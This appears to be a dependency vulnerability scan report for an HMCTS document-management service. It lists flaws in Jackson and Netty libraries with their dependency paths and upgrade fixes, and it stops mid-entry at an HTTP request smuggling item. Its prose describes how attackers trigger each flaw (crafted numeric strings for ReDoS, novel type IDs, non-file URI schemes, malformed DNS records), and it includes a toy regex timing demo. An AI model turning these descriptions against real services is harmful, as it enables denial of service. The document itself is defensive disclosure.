  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springdoc:springdoc-openapi-starter-common@2.9.1 › io.swagger.core.v3:swagger-core-jakarta@2.2.55 › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.22.1 › com.fasterxml.jackson.core:jackson-databind@2.18.9 › com.fasterxml.jackson.core:jackson-core@2.18.9

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the PATTERN_FLOAT regex of NumberInput, reached through looksLikeValidNumber(), where adjacent quantifiers over the same character class ([0-9]*, then an optional [.], then [0-9]+) carry no possessive quantifiers or atomic grouping, so the engine explores every split point between digit groups on non-matching input. An attacker can pin a request-handling thread and exhaust the worker pool with concurrent requests by supplying a long numeric-looking string that fails to match, since match cost is quadratic in input length, with 160,000 characters costing 74.4 seconds in a single call. This requires the application to reach looksLikeValidNumber() with attacker-controlled strings, which is the default path when jackson-databind coerces a String field to a number, and the input is bounded only by StreamReadConstraints.maxStringLength at 20,000,000 rather than by maxNumberLength at 1,000.

Workaround

This vulnerability can be avoided by lowering StreamReadConstraints.maxStringLength toward the string length the application actually needs, which caps the input this quadratic path can be handed, since it is that limit and not maxNumberLength that governs here.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.11, 2.21.7, 2.22.3 or higher.

References

medium severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.18.9, com.azure:azure-storage-blob@12.35.1 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.fasterxml.jackson.core:jackson-databind@2.18.9
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.18.11.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › com.fasterxml.jackson.core:jackson-databind@2.18.9
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springdoc:springdoc-openapi-starter-common@2.9.1 › io.swagger.core.v3:swagger-core-jakarta@2.2.55 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springdoc:springdoc-openapi-starter-common@2.9.1 › io.swagger.core.v3:swagger-core-jakarta@2.2.55 › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.22.1 › com.fasterxml.jackson.core:jackson-databind@2.18.9

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the _findDeserializer() method of TypeDeserializerBase, which caches every unknown type ID as a distinct key in the _deserializers map even when all of them resolve to the same defaultImpl fallback. An attacker can grow that cache without bound for the lifetime of the process, exhausting memory over time, by submitting a stream of novel type identifiers. This requires the application to use name-based polymorphism through @JsonTypeInfo(use = Id.NAME, defaultImpl = ...), to accept attacker-controlled type identifiers, and to reuse the mapper instance across requests.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.11, 2.21.7, 2.22.3 or higher.

References

medium severity

Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.18.9, com.azure:azure-storage-blob@12.35.1 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.fasterxml.jackson.core:jackson-databind@2.18.9
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.18.10.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › com.fasterxml.jackson.core:jackson-databind@2.18.9
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springdoc:springdoc-openapi-starter-common@2.9.1 › io.swagger.core.v3:swagger-core-jakarta@2.2.55 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springdoc:springdoc-openapi-starter-common@2.9.1 › io.swagger.core.v3:swagger-core-jakarta@2.2.55 › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.22.1 › com.fasterxml.jackson.core:jackson-databind@2.18.9

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') through NioPathDeserializer in src/main/java/com/fasterxml/jackson/databind/ext/NioPathDeserializer.java. An attacker can force readValue() to resolve an attacker-controlled java.nio.file.Path URI by supplying a non-file scheme such as jar:, http:, s3:, or a custom provider scheme in untrusted JSON. That input reaches new URI(value) and then Path.of(uri), which falls back to ServiceLoader<FileSystemProvider> resolution and can invoke a matching provider’s getPath(uri) during deserialization. The result is unintended provider loading and provider-driven path handling inside the application, which can trigger denial of service or other side effects depending on what FileSystemProvider implementations are present on the classpath.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.10, 2.21.6, 2.22.2 or higher.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: io.netty:netty-codec-dns
  • Introduced through: com.azure:azure-storage-blob@12.35.1

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.netty:netty-resolver-dns@4.1.135.Final › io.netty:netty-codec-dns@4.1.135.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18 › io.netty:netty-resolver-dns@4.1.135.Final › io.netty:netty-codec-dns@4.1.135.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.netty:netty-resolver-dns@4.1.135.Final › io.netty:netty-codec-dns@4.1.135.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.netty:netty-resolver-dns-native-macos@4.1.135.Final › io.netty:netty-resolver-dns-classes-macos@4.1.135.Final › io.netty:netty-resolver-dns@4.1.135.Final › io.netty:netty-codec-dns@4.1.135.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18 › io.netty:netty-resolver-dns@4.1.135.Final › io.netty:netty-codec-dns@4.1.135.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.netty:netty-resolver-dns@4.1.135.Final › io.netty:netty-codec-dns@4.1.135.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18 › io.netty:netty-resolver-dns-native-macos@4.1.135.Final › io.netty:netty-resolver-dns-classes-macos@4.1.135.Final › io.netty:netty-resolver-dns@4.1.135.Final › io.netty:netty-codec-dns@4.1.135.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.netty:netty-resolver-dns-native-macos@4.1.135.Final › io.netty:netty-resolver-dns-classes-macos@4.1.135.Final › io.netty:netty-resolver-dns@4.1.135.Final › io.netty:netty-codec-dns@4.1.135.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18 › io.netty:netty-resolver-dns@4.1.135.Final › io.netty:netty-codec-dns@4.1.135.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18 › io.netty:netty-resolver-dns-native-macos@4.1.135.Final › io.netty:netty-resolver-dns-classes-macos@4.1.135.Final › io.netty:netty-resolver-dns@4.1.135.Final › io.netty:netty-codec-dns@4.1.135.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.netty:netty-resolver-dns-native-macos@4.1.135.Final › io.netty:netty-resolver-dns-classes-macos@4.1.135.Final › io.netty:netty-resolver-dns@4.1.135.Final › io.netty:netty-codec-dns@4.1.135.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18 › io.netty:netty-resolver-dns-native-macos@4.1.135.Final › io.netty:netty-resolver-dns-classes-macos@4.1.135.Final › io.netty:netty-resolver-dns@4.1.135.Final › io.netty:netty-codec-dns@4.1.135.Final

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime in AbstractDnsRecord and DefaultDnsRecordDecoder, where a domain name that violates IDNA rules makes IDN.toASCII() throw before the decoded ByteBuf is assigned to the record's content, leaving the buffer unreleased. An attacker can leak direct memory on each malformed record and exhaust it over sustained traffic by sending DNS records whose domain names violate IDNA rules, contain null bytes in a decompressed name, or otherwise fail to decode. Exploitation affects applications that decode DNS records with Netty's DnsRecordDecoder, such as DnsNameResolver clients processing responses from an attacker-influenced resolver or custom DNS servers, and the leak is incremental, requiring sustained malformed records to exhaust memory.

Remediation

Upgrade io.netty:netty-codec-dns to version 4.1.136.Final, 4.2.16.Final or higher.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: io.netty:netty-codec-dns
  • Introduced through: com.azure:azure-storage-blob@12.35.1

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.netty:netty-resolver-dns@4.1.135.Final › io.netty:netty-codec-dns@4.1.135.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18 › io.netty:netty-resolver-dns@4.1.135.Final › io.netty:netty-codec-dns@4.1.135.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.netty:netty-resolver-dns@4.1.135.Final › io.netty:netty-codec-dns@4.1.135.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.netty:netty-resolver-dns-native-macos@4.1.135.Final › io.netty:netty-resolver-dns-classes-macos@4.1.135.Final › io.netty:netty-resolver-dns@4.1.135.Final › io.netty:netty-codec-dns@4.1.135.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18 › io.netty:netty-resolver-dns@4.1.135.Final › io.netty:netty-codec-dns@4.1.135.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.netty:netty-resolver-dns@4.1.135.Final › io.netty:netty-codec-dns@4.1.135.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18 › io.netty:netty-resolver-dns-native-macos@4.1.135.Final › io.netty:netty-resolver-dns-classes-macos@4.1.135.Final › io.netty:netty-resolver-dns@4.1.135.Final › io.netty:netty-codec-dns@4.1.135.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.netty:netty-resolver-dns-native-macos@4.1.135.Final › io.netty:netty-resolver-dns-classes-macos@4.1.135.Final › io.netty:netty-resolver-dns@4.1.135.Final › io.netty:netty-codec-dns@4.1.135.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18 › io.netty:netty-resolver-dns@4.1.135.Final › io.netty:netty-codec-dns@4.1.135.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18 › io.netty:netty-resolver-dns-native-macos@4.1.135.Final › io.netty:netty-resolver-dns-classes-macos@4.1.135.Final › io.netty:netty-resolver-dns@4.1.135.Final › io.netty:netty-codec-dns@4.1.135.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.netty:netty-resolver-dns-native-macos@4.1.135.Final › io.netty:netty-resolver-dns-classes-macos@4.1.135.Final › io.netty:netty-resolver-dns@4.1.135.Final › io.netty:netty-codec-dns@4.1.135.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18 › io.netty:netty-resolver-dns-native-macos@4.1.135.Final › io.netty:netty-resolver-dns-classes-macos@4.1.135.Final › io.netty:netty-resolver-dns@4.1.135.Final › io.netty:netty-codec-dns@4.1.135.Final

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime through DnsCodecUtil.decompressDomainName in codec-dns/src/main/java/io/netty/handler/codec/dns/DnsCodecUtil.java. An attacker can exhaust direct memory and trigger a gradual denial of service by sending DNS packets with malformed domain names that make domain-name encoding fail during decode. When encodeDomainName(domainName, result) throws on invalid input, the allocated ByteBuf is not released, and repeated packets leak buffers until the process runs out of memory.

Remediation

Upgrade io.netty:netty-codec-dns to version 4.1.136.Final, 4.2.16.Final or higher.

References

medium severity
new

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: com.azure:azure-storage-blob@12.35.1

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.netty:netty-codec-http2@4.1.137.Final › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.netty:netty-handler-proxy@4.1.137.Final › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.netty:netty-codec-http2@4.1.137.Final › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.netty:netty-codec-http2@4.1.137.Final › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.netty:netty-handler-proxy@4.1.137.Final › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.netty:netty-codec-http2@4.1.137.Final › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.netty:netty-codec-http2@4.1.137.Final › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18 › io.netty:netty-handler-proxy@4.1.137.Final › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.netty:netty-handler-proxy@4.1.137.Final › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.netty:netty-codec-http2@4.1.137.Final › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18 › io.netty:netty-handler-proxy@4.1.137.Final › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18 › io.netty:netty-handler-proxy@4.1.137.Final › io.netty:netty-codec-http@4.1.137.Final

Overview

